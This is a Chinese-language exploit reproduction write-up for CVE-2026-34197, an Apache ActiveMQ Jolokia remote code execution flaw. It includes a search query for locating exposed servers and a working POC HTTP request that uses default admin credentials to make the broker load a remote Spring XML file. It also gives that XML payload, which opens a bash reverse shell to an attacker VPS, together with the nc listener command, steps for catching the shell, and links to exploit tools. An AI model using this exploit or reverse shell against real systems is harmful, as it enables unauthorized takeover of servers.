Apache ActiveMQ远程代码执行漏洞复现(CVE-2026-34197)

漏洞描述:

Apache ActiveMQ 是一个开源的多协议消息代理服务器

Apache ActiveMQ 是一个开源的多协议消息代理服务器。2026年4月,官方披露 CVE-2026-34197 ActiveMQ Jolokia 远程代码执行漏洞。由于 允许对 ActiveMQ MBeans 执行 exec 操作。

攻击者可通过Web 控制台默认暴露的 Jolokia JMX-HTTP bridge 操作ActiveMQ MBeans,调用 addNetworkConnector 或 addConnector 方法,构造包含 brokerConfig 参数的 discovery URI从而ResourceXmlApplicationContext 加载远程恶意 Spring XML 配置文件,并最终导致代码执行。

CVE编号:CVE-2026-34197

CNNVD编号:

CNVD编号:

影响版本:

Apache ActiveMQ < 5.19.4 6.0.0 <= Apache ActiveMQ < 6.2.3

攻击链如下:

  1. 攻击者向 /api/jolokia/ 发送一个 POST 请求,调用 broker 的 MBean 的 addNetworkConnector 操作。

  2. 该参数包含一个使用 vm:// 传输的 URI,引用了一个不存在的 broker。

  3. ActiveMQ 试图动态创建该 broker,并接受指向远程 URL 的 brokerConfig 参数。

  4. xbean: 架构表示该资源是一个 Spring XML 配置文件。

  5. Spring 会实例化 XML 中定义的所有 bean,包括一个会执行 Runtime.getRuntime().exec() 的 bean。

  6. 在服务器上执行任意命令。

fofa查询语句:

title=="Apache ActiveMQ"

漏洞复现:

POC:

POST /api/jolokia/ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15
Connection: close
Content-Length: 442
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://xx.xx.xx.xx:8161
Accept-Encoding: gzip, deflate

[
  {
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector",
    "arguments": ["NC"]
  },
  {
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector",
    "arguments": ["static:(vm://zgbbtd?brokerConfig=xbean:http://d7egttur23rhlh6mh8j0nskmoiszxgpdk.oast.online/ygmyo.xml)"]
  }
]

nuclei:

打一个dnslog验证:

成功执行如下:

![](

NC 反弹 Shell 教程

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
        http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/你的VPS_IP/监听端口 0&gt;&amp;1</value>
            </list>
        </constructor-arg>
    </bean>

</beans>

把这个 XML 放到公网可访问的 HTTP 服务上

nc -lvnp 443

重新发送你刚才的 POST 包

目标服务器会:

  1. 下载你的 ygmyo.xml
  2. Spring 解析 XML 时自动执行里面的命令
  3. 直接弹回 shell 到你的 NC 监听

相关工具

https://github.com/DEVSECURITYSPRO/CVE-2026-34197

https://github.com/Catherines77/ActiveMQ-EXPtools